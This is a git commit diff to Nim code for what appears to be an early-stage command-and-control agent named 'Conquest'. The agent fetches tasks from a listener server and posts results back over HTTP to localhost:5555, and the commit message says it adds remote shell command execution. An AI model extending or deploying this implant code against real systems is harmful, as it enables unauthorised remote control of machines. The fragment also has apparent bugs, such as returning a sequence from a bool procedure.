Implemented basic shell command execution and result retrieval. Next Step: Remove completed tasks from queue

This commit is contained in:
Jakob Friedl
2025-05-22 20:03:22 +02:00
parent 71336a6fa7
commit 1b147aacd6
17 changed files with 187 additions and 39 deletions

View File

@@ -38,15 +38,33 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
try:
# Register agent to the Conquest server
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
echo responseBody
return parseJson(responseBody).to(seq[Task])
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener, agent: string, task: Task): bool =
let client = newAsyncHttpClient()
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let taskJson = %task
try:
# Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
except HttpRequestError as err:
echo "Not found"
quit(0)
finally:
client.close()
return @[]
proc postResults*(listener: string, agent: string, results: string) =
discard
return true